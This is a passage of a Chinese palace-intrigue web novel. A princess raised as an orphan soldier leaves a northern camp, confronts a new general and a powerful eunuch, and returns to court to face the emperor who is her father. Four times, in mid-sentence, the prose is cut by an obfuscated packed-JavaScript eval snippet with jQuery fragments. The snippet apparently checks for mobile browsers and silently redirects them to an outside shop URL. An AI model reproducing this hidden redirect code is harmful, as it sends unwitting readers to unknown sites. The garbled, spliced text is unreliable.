“头！你醒啦！”江鱼一下子扑到近前，眼眶通红，脸上却满是压不住的喜色。 “你可算醒了……还难受吗？” 燕风缓缓坐起，靠着床头，脑中一片纷乱：“边瓦人走了吗？将军和陈青，他们没事吧？” "走了走了！"江鱼笑着点头，"头你是不知道，今天宫里来了位大人，带兵入营，阵仗老大了——" "将军他们呢。" "——不然光凭我一个小兵，就算喊破喉咙，谁又肯信呀。头，你竟然是公主？他们就是来接你回宫的！连我都沾了光，得了名分，过不了几天，我就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485544|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着你去京城吃香喝辣了！" 燕风静静看着她。 江鱼笑容微微顿了一下，随即更热闹地说了下去："说起陈青那傻子，可真真气人！一听你是公主，他头一句竟是''你竟是个女的？''"她模仿着陈青的语气，声调扬得老高，说罢自己先咯咯笑起来，"我说他是不是瞎？你在王宅时不就穿着女装吗？" 她说得又急又快，叽叽喳喳，仿佛这番话早已在心底排练过多遍，专等燕风醒来那一刻倒出来。 却始终没提宗恂半个字。 燕风静静听着，笑不出来，心反而渐渐沉了下去。 她怎会听不出来，江鱼在瞒她。 "嗯。" 燕风强压下心头翻涌，点了点头。她不想让人为难。反正是好是坏，总归要自己亲眼去看看。 江鱼像是忽然想起什么，“啊”了一声：“对了，这回跟着宫里人一起来的，还有个中年人。他私下找了我，非要我原话带给你：说宫里来了人，要你态度好些。” “废话。” “就是嘛！”江鱼嘿嘿笑，“我也这么说，可他偏要我传到。他还让我告诉你，他叫罗同。” “罗同？”燕风脱口惊呼。 “你认得他？那就好，我话算带到了。” “还有，宫里来的那位大人姓曹，说是等你醒了便知会一声，明儿一早，他要亲自来见你。” “嗯。” “那你先休息，我给你端点热饭。一直在厨房温着呢，” “好……” * 夜沉如墨，无星无月，唯有营地里零星的火把在风中摇曳，远处偶尔传来巡逻士兵压低的交谈声。 燕风恢复了几分力气，此时正独自坐在空荡荡的大帐顶上等候。忽然身侧传来极轻的响动，一道黑影在她身旁坐下。 "你长大了，却还和小时候一样，爱一个人躲在屋顶上。" 燕风没有转头，只是微微收紧环抱膝盖的手臂，轻声道："你来了。" 罗同问："你有什么要问我的吗？" 她静了片刻，唇抿成一线：“想问的太多……可最想知道的，反而不敢问。其余的，似乎都不重要了。” 罗同望着远处黑沉的山影，缓缓道："他没事。" 黑暗中，燕风猛地闭眼。泪水毫无征兆地滚下来，砸在手背上，烫得灼人。 她死死咬住下唇，将哽咽死死锁在喉咙深处。 罗同像未曾察觉，继续说了下去：“但往后却难说。先前宗恂冒张擎之名上书，摆了石亨一道，张擎察觉后本要给他扣上谋逆的罪名。如今张擎死在你引发的风啸之下，死无对证，曹宜春怕是要将这笔账算在宗恂头上，甚至可能再加一条私通边瓦。” 他顿了一顿，“过几日便会被押往京城，大抵与你同路。” “那我该怎么做，才能救他？” 罗同沉默了良久，才在沉沉的夜色里开口：“什么都不要做。” 39. 孤注 “你越关心他，越为他奔走，反而越是害他。皇帝恨宗家，早已恨得不讲道理。你在意宗恂，只会催发他的杀心。”” “为何会如此？” “没人知道。” 燕风想了想，低声问道：“会不会和福瑛长公主有关？三年前她似乎也牵扯进来……” 罗同神情有些不自然：“她……不至于。” “那宗恂怎么办？”燕风语速渐急，“总得有人救他。” “只要你回京，我们的人就有办法设法接近他，那时还有一线生机。” 罗同盯住她，“而你要做的，就是忘了他。” 夜风骤紧，远处火把晃动，映出燕风绷紧的侧脸。 她忽而抬眼：“把我召回去当公主，是你们的安排？” “是。” “我和那人，十多年连一面都没见过。他认我做什么？连曹宜春都亲至，你们到底骗了他什么？” “我们让他相信，你能替他稳固江山。” 燕风嗤笑：“我？开什么玩笑，这他也信？” “他会信，自有他的缘由。” 罗同语声低沉，仿佛在念一段古老的咒语：“这世上有一些家族，生来便承继着远古之力。上次在青桥县，你应当有所察觉。那是我们故意让你感应到，目的是想让你害怕。” “皇帝，在二十多年前，用极残忍的方式从一个家族身上夺走了这种力量，才登上帝位。你的力量，便继承自他。” “所以你们告诉他，我能帮他稳固江山……但这一定是假的？” “是假的。”罗同轻声道：“而且真相恰恰相反。” 燕风心跳加速：“何意？” “那些被他夺走力量的人，在死前联手施下了一个诅咒。那个诅咒的化身，就是你。” “唯有恨他入骨的女子，为他生下的子嗣，才可能继承这份神力。而那子嗣体内的力量，随其对父亲的仇恨加深而愈强。最关键是，这力量与皇帝的相克。你越靠近他，他的力量便越会被削弱。” 宗恂先前猜得没错，果然如此。 燕风不知道自己沉默了多久，直到喉间发干，她才意识到自己连呼吸都屏住了。 她缓缓吐出一口气，轻声道："……我。" “你，是他命中的死劫。”罗同一字一顿，“残余的其他家族为求自保，只得联手。我们正在谋划，而你，是这谋划中最关键的一环。” “所以你们当初在青桥县与我相遇，并不是偶然，而是收到了宗恂的信。他在替你们找我？” “对。” 她平静下来，语气冷硬地接连发问：“青桥县的船上，同你一起的那黑衣人是谁？他是敌是友？你为何当着他面不与我相认？还有孙为——或者说，魏芙，是怎么回事？” 罗同闭了闭眼，面露疲色：“皇帝所获的神力，是令靠近的敌人归心倒戈。那是一种操控心智之力，离他越近，越无法背叛。” “所以你们要找我，只能从边缘入手，无法近皇帝身边。” 罗同点头：“是。我接近的是宗恂，而你提到的那个黑衣人，外号迟三，他奉命接近的魏芙，是内阁大臣犯了事被藏在青桥县的女儿。我们表面上联手，其实各有立场。很多人甚至因为你的来历而厌恶你，但又不得不去找到你，保护你，助你一臂之力。” 话至此，他突然严肃道：“剩下的，若信我，便别再问。这是为你好。” 燕风垂下眼睫："我自然信您。" 夜风掠过，她指尖又开始无意识地摩挲着袖口："可我方才想明白了一件事。若真要我选，如今让某些人活着的愿望，已压过了让另一个人死的执念。” 罗同终于转头看她。 黑暗中，燕风抬起眼，目光如刀，直直刺向他：“你不愿在迟三面前认我，是想隐瞒你在阳高的旧事吧。宗家与你们所求之事本无瓜葛，甚至因你们内斗，成了你必须遮掩的软肋。宗恂对你们中的大多数人而言，不过是一枚可弃的棋子，对吗？” 她轻笑一声，冷冷道："就像魏芙一样。" 罗同沉默，便是默认了。 "罗同叔，"她忽然像小时候那样唤他，语气近乎依赖。 "您知道的，孤儿营里，我处处都不是拔尖，就连性格，也胆小懦弱，远不如其他孩子坚韧果敢。” 她缓缓站起身，夜风卷起她的衣摆。 "可偏偏，是我，成了最关键的，你们绝对不可缺失的一环。" "劳烦您回去，让您的新主子和新伙伴们想想：若宗恂有事，我这一环……还灵不灵？" 她唇角勾起，眼底却一片冰封。 "毕竟，去死是最容易的事。" 罗同猛地扣住她的手腕："你——" 燕风任由他钳制，却分毫不退。 "试试看？" 她知道此刻他心里一定在滴血。 但这是她为换宗恂一线生机，所能下的唯一的赌注。 * 次日一早，她便换回女装，等着传说中的曹大人莅临。 此时已近午时，天光正盛。 因她头顶公主的名号，营中各色美食源源不断送来，早已堆得食盒成山。 燕风自幼颠沛，养成了越是境况不堪越要饱食的习惯，故而此刻吃得专心致志。江鱼也陪着吃了几轮，但不一会儿便撑得不行，只能扶着饱肚坐在一旁，目瞪口呆地看着燕风的好胃口。 这时又送来一摞餐食，为首那年轻人却不如先前的侍从一般离开，而是静静立在一旁，神情从容。 燕风并未在意，江鱼却看得心里发毛：这人穿得比前几位都体面许多，还不走……该不会是她们吃得太多，惹得那大人物不高兴了？ 她忍不住轻轻捅了捅燕风。 燕风抬眼一扫，淡淡道：“曹公公派来的？有话便说。” 不料那人闻言，竟直接跪地行了大礼，语声朗朗：“司礼监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485545|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹宜春，参见公主，公主万安。” 燕风手中动作一滞，险些将筷子掉在地上。 曹宜春。 她在心里将这个名字默念了一遍。坊间传的那些事她多少听过：太后宫里一个无名小宦，在昭明帝被景宪帝囚于深宫之际悄然投靠，那夜宫变刀光火影，他从后宫杀出，从龙有功，此后扶摇直上。如今司礼监曹秉笔，权势滔天，恶声在外，隐隐已有当年权宦李振的势头。 如此人物，竟亲自来给她端盘子。 定睛再看，那人却意外年轻，不过二十出头，眉眼清秀，举止从容，既无市井传言中的跋扈相，也无宦官惯有的猥琐气，倒像是哪家书香门第出身的清贵子弟。 以她如今这尴尬身份，纵是宫中金枝玉叶的真公主，也不过是个摆设，如何受得起这位权倾朝野的曹秉笔如此大礼？ 那厢江鱼已经腾地站起，神色激动，恨不能原地磕回去。 燕风搁下筷子，起身，面上堆出恰好的惶恐，亲手去扶。 “公公怎亲自来了？也不先使人通传。是我眼拙，怠慢了，这如何使得。” 曹宜春被扶起，目光在她脸上停了一瞬，旋即低首作揖：“公主大约已不记得奴婢了，但奴婢却一直铭记着五年前公主的救命之恩。” 燕风眉头轻蹙，显然毫无印象。 “那年，公主在北五所角门外，救下一个受欺的小黄门。” 燕风低声“啊”了一下，刚欲开口，曹宜春却温声打断：“公主记得便好。奴婢这些年未曾敢忘，想必陛下亦是一样。这回公主亲临北地，又立下大功，奴婢料想，陛下得知此事，一定龙颜大悦。” 燕风故意似是而非地：“你都知道了？” 曹宜春含笑点头：“是。那位姓陈的军士已将公主在青阳镇王家中的种种事迹一一告知于咱家。公主智勇兼备，实乃巾帼楷模，奴婢敬佩不已。” 江鱼听得一愣一愣，悄悄在桌下扯了燕风的衣角，小声提醒：“是陈哥。” 燕风安抚地拍拍她的手背，继续试探道：“公公谬赞了。可此事能成，并非我一人之力。” 曹宜春微微躬身，神态愈恭：“公主过谦了。功劳大小，自有陛下明断。奴婢所能做的，不过是护送公主安然归京，并将沿途所见所闻，一五一十禀明圣上。” 燕风心里冷笑，面上却依旧得体应和。两人再叙几句，曹宜春方告辞，礼数周全。 他一走，燕风便闷头继续吃饭。 江鱼还在发懵，飘飘然好似在梦中，喃喃道：“头，你不光是公主，竟还救过那位大人的命！你是没看见他昨儿来的时候，那排场……原来这么好的事也能落到我头上，我这是要发达了啊！” 燕风看她一脸天真，心中五味杂陈，终是轻声开口：“江鱼，你还是别和我们一道回去了。” 江鱼一怔，眼圈倏然泛红。她低下头，拨弄着桌上剩下的骨头，半晌才道： “头……你不要我了？” 40. 扬威 “不是。” 燕风摇了摇头，语气缓和些许：“我是怕你受牵连。你听过那句话吗？伴君如伴虎。” 江鱼顿时松了口气，挤出个笑来：“我还以为我做错了事呢。头你放心，我光脚不怕穿鞋的，什么都不怕。再说了，现在不是好着吗？” 燕风微抿着唇，她犹豫片刻，只能在惨淡的现状中尽量挑些能说的。 “哎。他们说话绕来绕去，你听不明白也是正常。就拿刚才那救命之恩来说，你可知道五年前是什么时候？” 江鱼眨巴着眼睛想了想，忽地恍然：“啊！是不是边瓦打到京城的时候？” “正是。那时候我的……呃……父皇“北狩”，京中人心惶惶，许多人只顾自保。我就是那时逃出宫的。临出宫时，在角门遇见了曹宜春。他当时不知为何，身上也带了好些财物，却又没藏好，被一群人围着抢。我见那群人中好几个正是平日欺负过我的，想着日后各奔天涯再没机会报复回去了，就趁乱下了黑手，也算是帮了他吧。” 她讪讪地笑了笑：“可你也知道我的习惯。哪有空手走的，混乱中我也顺了他不少好东西。” 这一段其实是胡诌，她根本不记得有这号人物。 江鱼痛心疾首：“哎呀！” 见初有成效，燕风再接再厉：“你知道的，这些太监最爱记仇。这时候提起来，谁知道他心里怎么想的呢。所以我劝你，别淌这浑水，我帮你多讨些银两，回家过清静日子，不好吗？” 江鱼怔怔望着她，良久才轻声问：“可我走了，你怎么办呢？” “啊？”燕风一时没反应过来。 江鱼眼神清亮却执着：“我早该想到的。你之前因战乱出逃还算情有可原，可你父亲三年前已经回来了。你一个金尊玉贵长大的公主，宁愿在外忍饥挨饿也不回宫，宫里……恐怕也不是那么好待的吧。” “嗯……” 虽然和事实偏差不少，但结论也没错。 “所以我更不能走了。咱们虽然也没认识多久，但这世上，你对我最好，比我亲爹娘都好。反正我也没地方好去，我应该陪着你的。我拳脚功夫近来长进不少呢，昨日打趴那几人，也并非全是小白的功劳！” “再不济，我还能陪你说话解闷。不是你说的吗？你、我加青哥，咱们仨到哪都饿不死！” 燕风没料她竟说出这番话，鼻头发酸，低头又往嘴里塞了两块糖糕：“臭丫头，真固执。一起就一起。你吃饱了吗？” 江鱼苦笑着摸摸肚子：“我早撑得快不行了。” 燕风咽下最后一口，笑道：“那好，吃饱了咱们出去转转，看看这姓曹的，到底想唱哪出戏。” 两人撩开营帐，走出门口，才不过几步，便觉出异样来。 昨日的军营在宗恂治下尚算井然有序，如今却似一盘散沙。 四处晃荡的生面孔兵卒衣甲不整，行止散漫，甚至还有几个倚着墙吞云吐雾的，笑嘻嘻朝她们望过来。 江鱼拧眉：“这些痞子……是新来的？倒比咱们更像混惯了的老油子。” 燕风没答，目光扫过营地。 虽昨日已公开她公主的身份，但军营中女子本就是稀罕，何况她姿容出众，落在这些粗鄙兵卒眼里，不免添了几分不怀好意的揣测。 “你说她之前在这里不会是做那个的吧？” “别乱说，那可是公主，皇帝的女儿！” “流落在外那么多年了，谁还真当她是公主？不是那个，她来这儿干什么？还立功？我看她细胳膊细腿的，立哪门子功？” 如此这般窃窃私语处处都有，虽说他们刻意放低了音量，但燕风耳力惊人，仍旧听得一清二楚。 偶有几个胆大的，不知怀着什么心思，说得声音并不算小，被江鱼听得只言片字，也把她气得不轻。她低声道：“头，要不要我回去拿棍子教训几个？” 燕风连眉毛都不抬一下：“随他们去，不过几个嘴臭的杂鱼。” 她的心思全在另一件事上：宗恂即将被押回京，张擎已死，这支北地守军如今到底落入谁手？ 她得亲眼去看一看。 营中主帐守卫果然换了新面孔，那守门都头拦着横竖不让进：“将军不在，去了武场。” 武场挺大，四面是木架与箭垛，一进其中便闻得人声鼎沸。 燕风和江鱼走近，最先入眼的是那高台旁一众衣着华贵的人物。 她目光一扫，便锁定了一位骑在名种大马上、穿戴考究的年轻男子。 “喏，那大概就是新来的将军了。”她淡淡道。 江鱼循声望去，皱眉：“他？可我昨日可没听说来了什么新将军，只知道来了个姓曹的大人物。” 她又认真打量了那人一眼：“我看他气势平平，身形单薄，远比不上宗将军英武。” 燕风讥笑一声：“他那身甲里裹着的是江南坊出的冰缎纱绣，五十两银一匹；马鞍下铺的是定州贡绣，雕鞭是东海玉镶金。若非身后有人撑着，哪配得起这身排场？” 她话音刚落，忽听江鱼惊呼：“小白！” 燕风猛地转头，只见武场中央，一头黑毛野猪正被困斗——正是昨日救过江鱼的小白。 它身上多处挂彩，鲜血染红鬃毛。围拢的兵士仍在不紧不慢地放箭，渐渐收紧包围圈。 江鱼气得脸色煞白：“他们疯了吗！我明明昨天当众骑着它！” 燕风脸色一冷，眼中肃杀骤起。 她忽然伸手，夺过最近一名军士手中的长枪。 “喂你——”军士一句话未完，只见那女子已如一道风掠入场中。 她凌空而起，长枪随势疾转，如银蛇般扫过空中。 铿！铿！铿！ 一阵金属撞击之声响起，燕风枪出如电，横挥斜拨，一杆长枪在她手中化作坚实的银罩，将数根箭矢悉数拨飞，震得周围兵士四散惊退。 她稳稳落地，枪尖一顿，长枪杵地，挡在小白身前。 “住手！”曹宜春认出是她，脸色大变，立即命人停下。 他快步下台行礼：“公主怎么来了？” 那年轻男人也拍马上前，竟不下马，只在马上拱手。 “末将卢承翊，参见公主殿下。不过一头恶畜，公主何苦亲自涉险？” 燕风没应，看也不看他一眼，转而面向曹宜春，明知故问：“此人是谁？” 卢承翊一愣，顿时有些发窘。 曹宜春忙笑着介绍：“这是新调任的卢将军，卢承翊。” “卢？”燕风低声重复，随即偏头看向卢承翊，语带不屑。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485546|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与卢平，或赣南卢氏，是何关系？” 卢承翊强压下怒意，平稳答道：“属下正出自赣南卢氏。卢平，是我族中旁支庶出之子，之前确曾在罪将宗恂帐下任职。只可惜不慎中奸人之毒，近日已由家中派人接回，与宗恂通敌暗害长官一事，并无干系。” 他将“罪将”二字咬得极重。 燕风脑中轰然：张擎死前咬定奉皇命行事，陈青也曾提到卢平中毒三日之内便有家人使船来接—— 这一切，串联起来，已然清晰不过。 她心中翻涌，面上却收敛得极好，转而问：“今日为何要围杀这头野猪？” 卢将军答道：“禀公主，林中今晨发现三具军士尸体，伤口俱是被野兽撕裂所致，怀疑便就是这头野猪下的口。” 燕风与江鱼对视一眼，心头皆是一震。 江鱼昨日虽伤了三人，却未下死手，怎会今日变成尸首？ 怕不是因那三人是宗恂被暗算的人证，被灭了口，如今却要被算在小白头上！ 她冷声问：“尸体何在？我要亲自验验。” 卢将军神色微滞，旋即低声道：“尸体为防瘟疫，已即刻火化下葬。” 燕风听了深吸一口气，缓缓转身，口气是对着卢承翊，眼睛却盯着一旁的曹宜春。 “人命大案，又涉我爱宠，最重要的尸证却一日之内就被火化处理……卢将军，您可真是雷厉风行啊。” 曹宜春立即上前打圆场：“既是公主爱宠，那便留它一命吧。况且也无确证是它伤人” 卢将军脸色一沉，大庭广众之下被拂了脸面，终是年轻气盛，忍不住张口要辩。 却忽听燕风轻笑一声，似是感叹：“好一匹宝马。只是可惜……” 她语未尽，手已轻拍那马腹。 马嘶长鸣，人立而起。 卢承翊武艺稀松，又猝不及防，竟当场被甩下马背，滚倒尘中，引得场中一阵惊呼。 燕风不急不缓走过去，似要扶他，临了却又突然伸回来了手。 她居高临下，冷笑道：“卢将军，可真是个怪人，见了本宫先是不下马，如今又行如此大礼。” 人群中隐隐传来低笑，卢将军灰头土脸地站起身来，脸色青红交加。 他咬牙质问：“公主方才对我的马做了什么？” 燕风本要离开，闻言驻足，眼角一挑，低头时掠过一丝促狭笑意。 “不过是拍一下罢了，我一个柔弱女子，能做什么？” “倒是卢将军的兵，着实叫人失望。我方才拂落的那几箭，软得像煮熟的面条，连个响动都没听见。” 她表情骤然凌厉，扬声道：“这样也敢自称镇守边疆的男儿？不如回家绣花去吧。” 话音未落，她已弯腰拾起一支落地的箭矢，腕子一抖，猛地掷出。 箭矢破空飞掠，从卢承翊头顶擦过，劲风炸散他额前的发髻，长发如瀑披落。华服下的身躯猛然一颤，连衣上金线绣的云纹都似受了惊，簌簌抖落三分傲气。 四下惊呼骤起。 再看那只箭—— “砰”地一声钉入百米开外的靶心，箭尾尤颤。 燕风冷冷一笑： “想射活物，还差得远，先从射靶开始吧。” 全场寂然，再无一人敢言。 41. 归京 没几日，燕风随着曹宜春的大部队，又坐上了南下的船。 只是这回心境，与来时大不相同。 江面结着薄冰，船头还堆了些雪。远山如黛，寒鸦几只。燕风披着狐裘，立于甲板远眺。 “真是转运了，”江鱼裹着厚袄子，坐在高台上啃烤馍。 “上回坐船，天气明明比现在暖和，咱仨却冻得跟被锤的糍粑似的，一宿一宿地翻来翻去。今儿呢？炭炉、软垫、热汤热馍，真真儿是上等人过的好日子。” 燕风倚着栏杆，听她说得眉飞色舞，不由抿唇轻笑。 "那时你不是还说乘船克你？如今倒是惬意。" 江鱼晃了晃悬空的脚："所以说钱财养人啊！这舒坦日子可都是白花花的银子堆出来的。" "只是青哥那边……唉，他与宗将军一同被押解，定然没有咱们这般体面，说不定还在受大苦。咱们却在此享福，想想还真有些过意不去。" "等到了京城，你可得跟皇上好好说说。毕竟是亲生父女，彻查清楚后，大家都能平安无事，也不必整日提心吊胆了。" 燕风笑而不语。 江鱼见她沉默，赶紧换了个话题，嬉皮笑脸凑过去。 “对了，我打听了一下，咱们一走，那姓卢的就翻了脸，说什么军中无纪，其实是被你那一箭吓破了胆。现在人人都在说他，是靠家里势力爬上来的绣花枕头。” 燕风笑笑：“我整不了大的，还压不住一个纨绔草包？” 想起武场那日借小白之事大闹一场，痛快淋漓，连胸中郁结都消散不少。 如今船上众人对她愈发敬畏，虽仍有闲言碎语，但都学乖了，不敢再当面议论。然而流言似水，越是阻拦越是泛滥。 口口相传间，最初的版本早已面目全非。 便说与此同时的几十里外，京城某家酒楼后院。 几个脚夫围炉烤火，酒过三巡后，有人道："你们可听说了？那位公主十几年前就流落在外，生得极美，据说早年被卖进了烟花地……" 对面人立即反驳："我听到的可不是这样！据说她身高九尺，力大无穷，一拳掀翻了卢将军的战马，连野猪都能骑着跑！谁能卖得了她？" 连掌柜也凑过来："啧啧，一文一武两个版本，够说书先生编一整年的。" "放屁！我有个堂兄刚从北地回来，亲眼见过那位公主，生得羸弱，走起路来弱柳扶风，那模样，能打得过谁？分明是个苦命人……" "怎么骂人呢！你堂兄怕是个睁眼瞎！人家掀马挡箭的事，整个北地都传遍了。我姨娘昨日还来信说这事，千真万确！" 这边吵得热火朝天，那边茶馆书场也不遑多让，闺阁里更是议论纷纷。 多亏了江鱼的好人缘，燕风对这些流言也有所耳闻。 她非但不恼，反而得了启发。 这日曹宜春又循例来与她闲谈，话说着说着便不着痕迹地问起她这几年是如何度日的。 燕风衣袖掩面，欲言又止："不过是被人贩子几经转卖，几次三番想要投井罢了……这张脸，美则美矣，却藏不住，反倒成了祸端。" 说话时她微微垂首，青丝垂落颊边，衬得眼波盈盈，楚楚可怜。 话到此，曹宜春自然不敢再问。只是他看向她的目光愈发奇怪，偶尔还透着一丝难以名状的狂热。 燕风将此理解为知音之感：一个重权在握却遭去势的太监，一个出身皇族却失了清白的女子，怎不算同病相怜？ 江鱼并不解为何她要自污名节。 世道对女子苛刻，若名声坏了，即便日后嫁人，也要终生受人指点。她自己不就是因此被父母逼得上吊，才流落至此么？ 燕风笑而不语。 这其实是她的未雨绸缪之举。若哪天她那便宜父皇一时兴起，要给这个大龄未婚女儿指婚，夜叉传言能吓退一半人，失贞流言便能赶走另一半。 船行数日，终于抵达京畿。 车轮碾过皇城北门的青石道，仿佛碾在岁月的脊骨上，发出沉重而缓慢的咯吱声。 寒风裹着细雪从窗缝钻入，锦缎车帘被吹得翻飞不止。燕风抬手掀帘，目光穿过飞雪，望向不远处巍峨的宫城。 飞檐斗拱层叠交错，雕栏玉砌的宫阙沿着中轴线铺展，远观恍若一条蛰伏的巨龙。 近处，猩红廊柱森然林立，地砖在天光下泛着冷硬的色泽。 五年前，她就是从这道宫墙的某一处翻出去的。 那时她还是个仓皇失措的孩子，穿着一身捡来的破袄，鞋也跑丢了一只，怀里揣着东拼西凑的干粮和偷来的碎银，跌跌撞撞地滚下了暗渠。 夜里蜷缩在荒草丛中，连飞虫的鸣叫都让她惊惧，以为是边瓦人的铁蹄要踏破燕京。 而如今，她身后是两列披甲执戟的护卫，前头是开道的内官。她裹着雪白的狐裘，乘着华丽繁复的马车，从正门堂堂正正地回来。 孩提时，她不是没幻想过这般情景。 总以为若真有这一日，自己定是满心欢喜的，甚至思索着，她要如何扑进那从未谋面的父亲的怀中，才能最惹他怜惜。 然而此刻，她胸腔里翻滚的，除了恨意，仍是恨意。 那仇恨如此刻骨，以至于有时候，连她自己都忘了，自己原本是一个那么怯懦的人。 * 入了宫，刚下车还未走几步，她便察觉到有人尾随。那脚步声放得极轻，却仍被她敏锐地捕捉到了。 “赌注定的是那块蟠龙玉，你可别想赖账！” “急什么？都还没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485547|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着正脸呢！” “你自个儿瞧啊，这背影，这腰身，以你二哥阅女无数的眼力，绝对是个一等一的美人。啧啧，若是让我逮着机会……” “二哥，你这心思可不太妥当。”一人低笑，“那可是你亲妹妹。虽说真假尚未可知，但若是真的……” “哼，少拿名分唬人！这么多年，谁听说过有她这号人物？突然冒出来，十有八九是个假的。说不定是父皇想要效仿前朝，弄个假公主去和亲，安定边疆呢！” 燕风脚步未停，唇角已浮起一丝冷意。 这两个便宜兄弟，胆子倒是不小。 她幼时在冷宫长大，靠偷抢勉强活命。听说撷芳殿是皇子们读书的地方，便常常爬上殿外的屋脊，趴在瓦上偷听。冬日里冻得嘴唇发紫，却仍舍不得下来，只为多学几个字。 对于殿里坐着的皇子们，她只记得几颗晃动的后脑勺。 现在，正好让她瞧瞧这些兄弟们的正脸。 她忽地在宫道中央驻足，毫无预兆地转身。 “咔！” 一声轻响，其中一人踩断了雪中的枯枝，另一人手一抖，险些摔了怀里的暖炉。 燕风看清了。这两人相貌堂堂，此刻却面无人色，活似白日撞鬼。 她轻轻眨了眨眼。 ——真不禁吓。 接着她被引至西苑面圣。 殿内暖香氤氲，炉火静燃，皇帝披着白狐裘坐于上首。 当她看清他面容的那一刻，燕风只觉得脑中“轰”地一声，仿佛有什么重物迎头砸下。 那是一张， 与她极其相似的脸。 她素来不喜揽镜自照，可此刻却像是看见了铜镜中的自己褪去女相，化作男儿模样。从眉弓的弧度到鼻梁的线条，从下颌的轮廓到唇角的纹路，无不相似。 只是在这张脸上，这些特征被赋予了更为锋利的俊美，令人不自觉地屏住呼吸。 燕风忽然明白了，这个男人，为何从不清楚自己获得的能力，因为单凭这张脸，就足以蛊惑人心。 她徐徐跪伏，前额贴上冰凉的地面。 "民女燕风，叩见陛下。" 声音在空旷殿宇中荡开回响。宣德炉吐出的青烟，在她低垂的视野里蜿蜒流转，仿佛无声的试探。 玄色龙纹靴踏着织金地毯渐近，在离她三步处停驻。 她能嗅到对方衣袍上混合龙涎与墨香的气息。 "抬起头来。"帝王的声音从上方落下，声音温和中藏着审度。 "让朕好好瞧瞧你。" 她慢慢直起腰身，两双如出一辙的凤眼在空中相撞。 一面是帝王含笑的端详，一面是静默藏锋的深潭。 这一刻，她终于真正踏入了棋局中央。 42. 逢场 皇帝的目光在燕风脸上停留片刻，忽然轻叹一声："朕看着你，就想起了玉嫔。" 燕风恰到好处地垂下眼帘， 掩饰眼中的嘲讽。 他们心照不宣地假装都不记得，那个被遗忘在冷宫的女人死得无名无姓，所谓玉嫔不过是随口编造的封号。 "父皇……"燕风喉头微动，眼中迅速蓄起一层水光。 她将指尖深深掐入掌心，借疼痛逼出几分颤抖的哭音，"女儿……女儿以为这辈子都见不到您了……" “你母亲瞒得朕好苦，朕真不知……你这些年该过得有多苦。" 他亲自将她扶起："该给你个封号了。这一辈的公主都是延字辈，你既在外化名为燕风，便赐你名延凤吧。" "延凤叩谢父皇恩典。"她伏身行礼，声音里带着以假乱真的哽咽。 这个新名字像一件不合身的华服，她虽嫌弃，却不得不诚惶诚恐地接下。 "这些年苦了你了。朕已命人收拾了宫室，你且安心住下。" 他语气愈发温和，"待来年春暖，朕再为你择一门好亲事。" 燕风面上却露出惶恐："女儿不敢奢望，这些年在民间颠沛流离，早已……" 她欲言又止。 皇帝目光在她身上停了停。 曹宜春确实禀报过她的流落经历，但此刻从她嘴里亲自说出来，则更具说服力。 "朕是天子，难道还有人会嫌弃朕的女儿不成？" 皇帝语气依旧慈爱，却不着痕迹地转移了话题，"你既回宫，安心将养便是。" "女儿不愿虚度光阴。" 她抬起脸："这些年为了活命，倒也练就了些粗浅功夫。只求父皇允女儿以这身本事，为朝廷尽一份绵薄之力。" "胡闹。朕难道养不起一个可怜的女儿？" 他若有所思地摩挲着扳指。 他接她回来，是因那个传言，同时他也听说了她在北地的作为，若能多个得力又无依无靠的臣子…… "求父皇成全！" 她以额触地，声音闷在玉砖上。"女儿只求，有用武之地。" 窗外树影婆娑，在地上投下摇曳的暗纹。 良久，皇帝轻叹："北镇抚司倒是还缺人。" 他转向曹宜春，"马顺老了，是不是该去南京养老了？" 曹宜春躬身顺从应是。 皇帝又看向燕风："你既执意如此，朕便许你以燕风之名出任北镇抚司做一名千户。但宫里永远给你留着一个位置，何时倦了，随时回来做你的公主。" "女儿……臣，谢主隆恩。" 她再次叩首。 从西苑出来时，雪已停了。 燕风拢了拢狐裘披风，脚步不紧不慢，眉宇间难得透出几分松快。 